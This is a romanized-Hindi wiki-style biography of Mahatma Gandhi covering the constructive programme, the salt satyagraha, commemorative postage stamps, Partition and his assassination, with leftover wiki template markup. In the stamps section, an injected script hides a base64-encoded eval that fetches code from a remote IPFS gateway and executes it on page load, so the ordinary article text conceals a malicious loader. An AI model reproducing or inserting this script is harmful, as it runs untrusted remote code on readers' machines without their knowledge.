faravari 1922 mean yah andolan zor pak data pratit hua, lekin poorvi bharat ke dooradaraz ke ek gaanv chauri chaura mean hiansa bh dakane se chintit gaandhi ne savinay avajna andolan vapas le liya. 10 march 1922 ko gaandhi ko giraftar kar liya gaya aur unhean chhah varshoan ke karavas ki saza huee. apeandisaitis ke apareshan ke bad faravari 1924 mean unhean riha kar diya gaya. unaki anupasthiti mean rajanitik paridrishy badal chuka tha. kaangres parti do bhagoan mean vibhakt ho chuki thi. ek chittaranjan das aur motilal neharoo (bharat ke pahale pradhanamantri javahar lal neharoo ke pita) ke netritv mean tha. jo vidhayikaoan mean parti ke pravesh ke samarthak the aur doosara si. rajagopalachari aur vallabhabhaee jhaverabhaee patel ka tha, jo isake virodhi the. sabase durbhagyapoorn bat yah huee ki 1920-22 ke dauran asahayog andolan mean hinduoan aur musalamanoan ke bich maujood ekata khatm ho chuki thi. gaandhi ne donoan samudayoan ka samajha-bujhakar unhean shankaoan tatha kattaravad ke ghere se bahar nikalane ka prayas kiya. aantatah ek gambhir sampradayik hiansa ke bad 1924 ke patajh d mean unhoanne tin saptah ka upavas kiya, taki logoan ko ahiansa ke marg par chalane ko prerit kiya ja sake.

rachanatmak karyakram

sanh 1925 mean jab adhikaansh kaangres janoan ne 1919 ke bharatiy shasan vidhan dvara sthapit kauansil mean pravesh karane ki ichda prakat ki to gaandhiji ne kuchh samay ke lie sakriy rajaniti se sanyas le liya aur unhoanne apane agami tin varsh gramoantthan karyoan mean lagay. unhoanne gaanvoan ki bhayankar nirdhanata ko door karane ke lie charakhe par soot katane ka prachar kiya aur hinduoan mean vyapt chhuachhoot ko mitane ki koshish ki. apane is karyakram ko gaandhiji 'rachanatmak karyakram' kahate the. is karyakram ke zariye ve any bharatiy netaoan ke muqabale, gaanvoan mean nivas karane vali desh ki 90 pratishat janata ke bahut adhik nikat a gaye. unhoanne sare desh mean gaanv-gaanv ki yatra ki, gaanv valoan ki poshak apana li aur unaki bhasha mean unase batachit ki. is prakar unhoanne gaanvoan mean rahane vali karo doan ki abadi mean rajanitik jagriti paida kar di aur svarajy ki maang ko madhyamavargiy aandolan ke star se uthakar deshavyapi adamy jan-aandolan ka roop de diya.

1. REDIRECT saancha:daanyabaksakareange ya mareange. not is prakar hai- 'har vyakti ko is bat ki khuli chhoot hai ki vah ahiansa par acharan karate hue apana poora jor lagae. h dataloan aur doosare ahiansak tarikoan se poora gatirodh (paida kar dijie). satyagrahiyoan ko marane ke lie n ki jivit rahane ke lie, gharoan se nikalana hoga. unhean maut ki talash mean phirana chahie aur maut ka samana karana chahie. jab log marane ke lie ghar se nikaleange tabhi kaum bachegi, kareange ya mareange.' 9 agast 1942 ko apani giraphtari se poorv subah paanch baje:- mahatma gaandhi
2. REDIRECT saancha:baksaband

golamej sammelan

1920 ke dashak ke madhy mean sakriy rajaniti mean gaandhi ne adhik ruchi nahian dikhaee. lekin 1927 mean british sarakar ne sar j aaun saiman ke netritv mean ek sanvidhan sudhar ayog ka gathan kiya, jisamean kisi bhi bharatiy ko shamil nahian kiya gaya tha. kaangres aur any partiyoan ke dvara ayog ka bahishkar kie jane se rajanitik ghatanakram tez hua. disambar 1928 mean kolakata kaangres ki baithak ke bad, jisamean gaandhi ne poorn svarajy ke lie deshavyapi ahiansak aandolan ki dhamaki dekar british sarakar se ek sal ke bhitar bharat ko adhirajy ka darja die jane ki mahattvapoorn prastav rakha. kaangres parti par phir se gaandhi ka niyantran ho gaya. samaj ke nirdhan varg ko prabhavit karane vale namak-kar ke khilaf unhoanne march 1930 mean satyagrah shuroo kiya. british rajy ke khilaf gaandhi ke ahiansak yuddh mean yah sabase vishal aur saphal aandolan tha aur isake phalasvaroop 60 hazar se adhik log giraftar kie ge. ek sal bad bharat ke british vaisaray lard iravin ke sath batachit ke bad gaandhi ne ek samajhauta svikar kar liya. savinay avajna andolan vapas le liya aur landan mean golamej sammelan mean bharatiy rashtriy kaangres ke ekamatr pratinidhi ke roop mean shamil hone ke lie sahamat ho ge. gaandhiji vahaan par ek samany gramin bharatiy ki tarah dhoti pahane aur chadar odhe upasthit hue, jisaka vistan charchil ne khoob mazaq u daya aur unhean 'bharatiy faqir' ki sanjna di. aangrezoan se satta ke hastaantaran ke bajay bharatiy alpasankhyakoan ki samasya par kendrit yah sammelan bharatiy rashtravadiyoan ke lie ghor nirashajanak tha. isake alava, jab disambar 1931 mean gaandhi svadesh laute to unhoanne paya ki unaki parti ko l aaurd viliangdan ka chautarafa akraman jhelana p d raha hai. thumb|150px|mahatma gaandhi
chitrakar-vi. pi. karamarakar|left gaandhi ko ek bar phir jel bhej diya gaya aur sarakar ne unhean bahari duniya se alag-thalag karane tatha unake prabhav ko samapt karane ka prayas kiya. yah asan kary nahian tha. sitanbar 1932 mean bandi avastha mean hi gaandhi ne british sarakar ke dvara ne sanvidhan mean achhootoan (dalit hindoo) ko alag matadata soochi mean shamil karake unhean alag karane ke nirnay ke khilaf anashan shuroo kar diya. isake phalasvaroop desh bhar mean bhavanatmak aveg umad p da. hindoo samuday aur dalit netaoan ne mil-julakar teji se ek vaikalpik matadata soochi ki vyavastha ki rooparekha banaee aur british sarakar ne ise manjoori de di. yah anashan achhootoan ke khilaf bhedabhav door karane ke zoradar andolan ka arambh tha. gaandhi ne inhean 'harijan' nam diya tha. jisaka arth hota hai, 'eeshvar ki santan'.

vikari vichar se bachane ka ek amogh upay ram-nam hai. nam kanth se nahian, kintu hriday se nikalana chahie. mahatma gaandhi

1934 mean gaandhi ne n sirf kaangres ke neta ke pad se, balki parti ki sadasyata se bhi istifa de diya. unaka manana tha ki parti ke agrani sadasyoan ne sirf rajanitik karanoan se ahiansa ko apanaya hai. rajanitik gatividhiyoan ke sthan par ab unhoanne 'rachanatmak karyakramoan' ke zariye 'sabase nichale star se' rashtr ke nirman par apana dhyan kendrit kiya. unhoanne gramin bharat ko, jo desh ki abadi ka 85 pratishat tha, shikshit karane, chhuachhoot ke khilaf l daee jari rakhane, hath se katane, bunane aur any kutir udyogoan ke arddh berozagar kisanoan ki ay mean izafa karane ke lie badhava dene aur logoan ki avashyakataoan ke anukool shiksha pranali banane ka kam shuroo kiya. svayan gaandhi madhy bharat ke ek gaanv sevagram mean rahane chale ge, jo samajik aur arthik vikas ke unake karyakramoan ka kendr bana.

mahatma gaandhi aur vishv

vishv patal par mahatma gaandhi sirph ek nam nahian apitu shanti aur ahiansa ka pratik hai. mahatma gaandhi ke poorv bhi shanti aur ahiansa ki avadharana phalit thi, parantu unhoanne jis prakar satyagrah evan shanti v ahiansa ke rastoan par chalate huye aangrejoan ko bharat chho dane par majaboor kar diya, usaka koee doosara udaharan vishv itihas mean dekhane ko nahian milata. tabhi to prakhyat vaijnanik aianstin ne kaha tha ki -‘‘hajar sal bad ane vali naslean is bat par mushkil se vishvas kareangi ki ha d-maans se bana aisa koee insan dharati par kabhi aya tha.’’ sanyukt rashtr sangh ne bhi varsh 2007 se gaandhi jayanti ko ‘vishv ahiansa divas’ ke roop mean manaye jane ki ghoshana ki. [[chitr:Gandhiji-Postage-Stamp.jpg|thumb|gaandhi ji ke samman jari vibhinn deshoan ke dak tikat]] mahatma gaandhi duniya ke sarvadhik lokapriy rajanetaoan aur vyaktitv mean se haian. yahi karan hai ki pray: adhikatar deshoan ne unake samman mean dak-tikat jari kiye haian. desh videsh ke tikatoan mean dekhean to gaandhi ka poora jivan charitr paya ja sakata hai. samanyatah dak tikat ek chhota sa kagaz ka tuk da dikhata hai, par isaka mahatv aur kimat donoan hi isase kafi zyada hai. dak tikat vastav mean ek nanha rajadoot hai, jo vibhinn deshoan ka bhraman karata hai evamh unhean apani sabhyata, sanskriti aur virasat se avagat karata hai. yah kisi bhi rashtr ke logoan, unaki astha v darshan, aitihasikata, sanskriti, virasat evan unaki akaankshaoan v ashaoan ka pratik hai. aise mean dak-tikatoan par sthan pana gaurav ki bat hai, bharat mean sarvadhik bar dak-tikatoan par sthan pane valoan mean gaandhi ji pratham haian. yahaan tak ki azad bharat mean ve pratham vyaktitv the, jin par dak tikat jari hua. bahut kam logoan ko pata hoga ki bharat ko gulami ke shikanje mean kasane vale briten ne jab pahali dapha kisi mahapurush par dak tikat nikala to vah mahatma gaandhi hi the. isase pahale briten mean dak tikat par keval raja ya rani ke hi chitr chhape jate the. yah tikat rastogi ke sangrah mean shamil hai. dak-tikat par pahale gaandhiji ke lie bapoo shabd ka prayog hua tha, magar bad ki tikatoan par mahatma gaandhi likha jane laga. kee deshoan ne mahatma gaandhi ki janm shatabdi, 125vian jayanti v bharat ki 50vian svatantrata varshagaanth par kee prakar ke alag-alag moolyoan ke dak tikat v dak samagriyaan samay–samay par jari ki haian. shaanti ke masiha v sahastrabdi ke nayak ke roop mean bhi anek deshoan ne, gaandhi ji ke chitroan ko adhar bana kar dak tikat v any dak samagriyaan jari ki haian. kee deshoan ne mahatma gaandhi par dak tikat hi nahian balki miniechar aur soviniyar shits jari ki. unhean is bat ki hairani hai ki duniya ke adhikaansh deshoan ne bapoo par tikat jari kar unhean samman diya, lekin pakistan ne nahian. shaanti ke is doot ki upeksha ki hi shayad vajah hai ki pakistan mean kabhi bhi shaanti bahal nahian huee. bharatavarsh se bahar ke deshoan mean lagabhag 100 se bhi adhik ne gaandhi ji ke jivan se jude vibhinn pahaluoan ko keandr mean rakhate hue unake jivan par adharit vibhinn dak samagriyaan v dak–tikat jari kie haian. in deshoan mean vishv ke sabhi mahadvipoan ke desh shamil haian.

samman mean jari dak tikat

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• eshiya mahadvip ke roos (rashiya), tajakistan, afaganistan, viyatanam, barma, eeran, bhootan, shrilanka, kajakistan, turkamenistan, kiragijistan, yaman, siriya aur saipras jaise desh inamean pramukh haian.
• yooropiy deshoan mean beljiyam hangari, chekoslovakiya, jarmani, jibraltar, briten, yoonan, malta, poleand, romaniya, ayaralaiand, lakjamabarg, eejadel dvip samooh, maikodoniya, sain marino aur stafa skatalaiand ke nam pramukh haian.
• amariki deshoan mean sanyukt rajy amarika (yoonaited stet), brajil, chili, kosta rika, kyooba, grenada, guyana, meksiko, moanteseret, panama, soorinam, urugve, venejuela, trininad v tobaigo, nikaragua, nevis, dominika, eantigua evan barabooda ke nam ullekhaniy haian.
• aphriki deshoan mean burkina phaso kaimaroon, chadaqamarooj, kaango, mishr, gaiban, gaanbiya, ghana, laiberiya, maidagaskar, mali, maritainiya, m aaurishas, morakko, mojaanbik, naijar, senegal, siera liyon, somaliya, dakshin aphrika, tanjaniya, togo, yoogaanda, aur jaanbiya ke nam pramukh haian.
• astreliyaee deshoan mean aaustreliya, palaoo, maikroneshiya aur marshal dvip pramukh haian. atirikt desho mean saeeberiya, greneda, san merino, rom, kostarika haian.
• pratham pradhanamantri javaharalal neharoo ne pahal karate hue char dak tikat par bapoo ko dijain ka hissa banaya. lekin janavari mean hi bapoo ki goli marakar hatya kar di gee. bapoo shrankhala ke yah charoan dak tikat jo 2 aktoobar 1948 ko jari kiya jana tha, use 15 agast 1948 ko hi jari kar diya gaya. khas bat yah hai ki in charoan dak tikatoan ko svitjaralaiand mean chhapavaya gaya tha. inake mooly dedh ana, sadhe tin ana aur 12 ana rakha gaya tha. gaandhiji ke sath ‘ba’ yani kastooraba gaandhi ko bhi un dak tikatoan mean jagah di gee hai. 1979 mean jari kiya gaya dak-tikat mean bapoo ko bachche se sneh karate hue darshaya gaya hai. yah chitr mahatma gaandhi ka bachchoan ke prati prem ko darshata hai.

antim charan

thumb|250px|mahatma gaandhi ka chitr bharatiy mudra par doosara vishv yuddh shuroo hone ke sath hi bharat ka rashtravadi sangharsh apane antim mahattvapoorn charan mean pravesh kar gaya. bharatiy svashasan ka ashvasan die jane ki shart par bharatiy rashtriy kaangres yuddh mean aangrezoan ka sath dene ko taiyar thi. ek bar phir gaandhi rajanitik roop se sakriy ho ge. 1942 ke grishm mean gaandhi ne aangrezoan se tatkal bharat chho dane ki maang ki. fasivadi shaktiyoan (eksis), visheshakar japan ke khilaf yuddh mahattvapoorn charan mean tha. aangrezoan ne turant hi pratikriya dikhaee aur kaangres ke samooche netritv ko giraftar kar liya aur parti ko hamesha ke lie kuchal dene ka prayas kiya. isake phalasvaroop hiansa bh dak uthi, jise sakhti se daba diya gaya. bharat aur briten ke bich ki doori pahale se bhi kahian adhik badh gee.

1945 mean lebar parti ki jit ke sath hi bharat-briten ke sambandhoan mean ek ne adhyay ki shurooat huee. agale do varsh ke dauran british sarakar muslim lig ke neta em. e. jinna aur kaangres parti ke netaoan ke bich lambi tripakshiy vartaean hueean, jisake phalasvaroop 3 joon, 1947 ko mauantabetan yojana taiyar huee aur 15 agast 1947 ko do ne rashtoan, bharat v pakistan ka nirman hua.

rashtroan ki pragati kramik vikas aur kranti donoan tariqoan se huee hai. kramik vikas aur kranti donoan hi saman roop se zaroori haian. mahatma gaandhi

bharat ki akhandata ke bina desh ka svatantr hona gaandhi ke jivan ki sabase b di nirashaoan mean se ek tha. jab gaandhi tatha unake sahayogi jel mean the, to muslim alagavavad ko kafi badhava mila aur 1946-47 mean, jab sanvaidhanik vyavasthaoan par antim daur ki batachit chal rahi thi, hinduoan aur musalamanoan ke bich bh daki sampradayik hiansa ne aisa apriy mahaul bana diya ki jisamean gaandhi ki tark aur nyay, sahishnuta aur vishvas sambandhi apiloan ke lie koee sthan nahian tha. jab unaki ray ke khilaf upamahadvip ke vibhajan ke prastav ko svikar kar liya gaya, to vah sampradayik sangharsh se samaj par lage zakhmoan ko bharane mean tan man se jut ge. unhoanne bangal v bihar ke dangagrast kshetroan ka daura kiya. isake shikar hue logoan ko dilasa diya aur sharanarthiyoan ke punarvas ka prayas kiya. shanka aur ghrina se bhare mahaul mean yah ek mushkil aur hriday vidarak kary tha. gaandhi par donoan samudayoan ne arop lagae. jab unaki batoan ka koee asar nahian hua to vah anashan par baith ge. unhean kam se kam do mahattvapoorn saphalataean milian.

• sitanbar 1947 mean unake upavas ne kalakatta mean dange band karava die aur
• janavari 1948 mean unhoanne dilli mean sampradayik shanti qayam kar di.

nidhan

30 janavari 1948 ki sham ko jab vah ek prarthana sabha mean bhag lene ja rahe the, tab ek yuva hindoo kattarapanthi nathooram godase ne goli marakar unaki hatya kar di. thumb|250px|mahatma gaandhi ka mrit sharir

shokakul soochana

apane mahan neta ki mrityu ka samachar sunakar sara desh shokakul ho utha. tatkalin pradhanamantri shri javahar lal neharoo ne rashtr ko mahatma ji ki hatya ki soochana in shabdoan mean di, 'hamare jivan se prakash chala gaya aur aj charoan taraf aandhakar chha gaya hai. maian nahian janata ki maian apako kya bataooan aur kaise bataooan. hamare pyare neta, rashtrapita bapoo ab nahian rahe.' mahatma gaandhi vastav mean bharat ke rashtrapita the. 27 varshoan ke alpakal mean unhoanne bharat ko sadiyoan ki dasata ke aandhere se nikalakar azadi ke uzale mean pahuancha diya. kintu gaandhiji ka yogadan sirf bharat ki simaoan tak simit nahian tha. unaka prabhav sampoorn manav jati par p da, jaisa ki arnald tayanabin ne likha hai--'hamane jis pidhi mean janm liya hai, vah n keval pashchim mean hitalar aur roos mean stalin ki pidhi hai, varan vah bharat mean gaandhiji ki pidhi bhi hai aur yah bhavishyavani b de vishvas ke sath ki ja sakati hai ki manav itihas par gaandhiji ka prabhav stalin ya hitalar se kahian zyada aur sthayi hoga.

itihas mean sthan

[[chitr:Mahatma-Gandhi-Monkeys-Sandsation.jpg|thumb|250px|mahatma gaandhi ke tin bandaroan ka seandaseshan
Sandsation Of Mahatma Gandhi's Monkeys]]

gaandhi ke prati aangrezo ka rukh prashansa, kautuk, hairani, shanka aur akrosh ka mila-jula roop tha. gaandhi ke apane hi desh mean, unaki apani hi parti mean, unake alochak the. naramapanthi neta yah kahate hue virodh karate the ki vah bahut tezi se badh rahe haian. yuva garamapanthiyoan ki shikayat yah thi ki ve tezi se nahian haian. vamapanthi neta arop lagate the ki vah aangrezoan ko bahar nikalane ya rajava doan aur samantoan ka samapt karane ke prati gambhir nahian haian. dalitoan ke neta samaj sudharak ke roop mean unake sadabhav par shanka karate the aur musalaman neta un par apane samuday ke sath bhedabhav ka arop lagate the.

meri manyata hai ki koee bhi rashtr dharm ke bina vastavik pragati nahian kar sakata. mahatma gaandhi

hal mean hue shodh ne gaandhi ki bhoomika mahan madhyasth aur sandhi karane vale ke roop mean sthapit ki hai. yah to hona hi tha ki janamanas mean unaki rajaneta-chhavi adhik vishal ho, kintu unake jivan ka mool rajaniti nahian, dharm mean nihit tha aur unake lie dharm ka arth aupacharikata, roodhi, rasm-rivaz aur sampradayikata nahian tha. unhoanne apani atmakatha mean likha hai--'maian in tis varshoan mean eeshvar ko amane-samane dekhane ka prayatn aur prarthana karata hooan', unake mahanatam prayas adhyatmik the. lekin apane anek aise hi ichchhuk deshavasiyoan ke saman unhoanne dhyan lagane ke lie himalay ki gufaoan mean sharan nahian li. unaki ray mean vah apani gufa apane bhitar hi sath lie chalate the. unake lie sachchaee aisi vastu nahian thi, jise niji jivan ke ekaant mean dhooandha ja sake. vah samajik aur rajanitik jivan ke chunautipoorn kshanoan mean qayam rakhane ki chiz thi. apane lakhoan deshavasiyoan ki nazaroan mean vah 'mahatma' the. unake ane-jane ke marg par unhean dekhane ke lie ekatr bhi d dvara aandhashraddha se unaki yatraean kathin ho jati thian. vah mushkil se din mean kam kar pate the ya rat ko vishram. unhoanne likha hai ki mahatmaoan ke kasht sirf mahatma hi janate haian.

gaandhi ke sabase b de prashasakoan mean alabart aianstain bhi the, jinhoanne gaandhi ke ahiansa ke siddhaant ko anu ke vikhandan se paida hone vali danavakar hiansa ki pratikari aushadhi ke roop mean dekha. svidan ke arthashastri gunnar mirdal ne avikasit vishv khand ki samasyaoan ke samajik, arthik sarvekshan ke bad gaandhi ko lagabhag sabhi kshetroan mean ek jnanavar udar vyakti ki sanjna di.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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chitr vithika

• chitr:Mahatma Gandhi.jpg

  jaimini ray dvara chitrit mahatma gaandhi

• chitr:Mahatma-Gandhiji.jpg

  gopal ghosh dvara chitrit mahatma gaandhi

• chitr:Statue-of-Gandhiji-2.jpg

  gaandhi ji ki kaansy moorti
  chitrakar- phreda briliyant

• chitr:Dandi-March-Gandhiji.jpg

  nandalal bos dvara chitrit mahatma gaandhi

• chitr:Mahatma-Gandhi-3.jpg

  ramendr nath chakravarti dvara chitrit mahatma gaandhi

• chitr:Statue of Mahatma Gandhi-2.jpg

  mahatma gaandhi
  chitrakar- ram kiankar bez

• chitr:Mahatma-Gandhi-1.jpg

  mahatma gaandhi

• chitr:Bapu-ke-padchinho-par.jpg

  mahatma gaandhi ke pad chinhoan par chalate unake anuyayi

bahari k diyaan

• mahatma gaandhi sakshatkar vidiyo
• mahatma gaandhi bhashan vidiyo
• dak tikatoan mean gaandhi
• dak-tikatoan par bhi chhaye gaandhi ji
• dak tikatoan mean mohan se mahatma tak ka saphar

link=#top|center|oopar jayean

sanbandhit lekh

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